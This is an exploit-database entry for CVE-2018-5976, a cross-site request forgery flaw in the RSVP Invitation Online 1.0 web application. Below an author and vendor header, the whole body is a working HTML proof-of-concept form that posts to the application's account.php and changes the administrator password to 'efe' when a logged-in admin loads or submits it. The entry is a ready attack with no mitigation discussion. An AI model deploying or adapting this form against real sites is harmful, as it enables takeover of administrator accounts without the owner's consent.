RSVP Invitation Online version 1.0 suffers from a cross site request forgery vulnerability.
56b58fb28bf393f19aab3a8ac34e9978<!--
# # # # #
# Exploit Title: RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin Pass)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://putrazendrato.link/
# Software Link: https://www.codegrape.com/item/rsvp-invitation-online/3890
# Demo: http://putrazendrato.link/rsvp/login.php
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5976
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
#
# Proof of Concept:
# 1)
-->
<html>
<body>
<form method="post" action="http://localhost/rsvp/function/account.php">
<!--Change admin pass-->
<input name="newpassword" type="text" value="efe">
<!--Change admin pass confirm-->
<input name="confirm" type="text" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>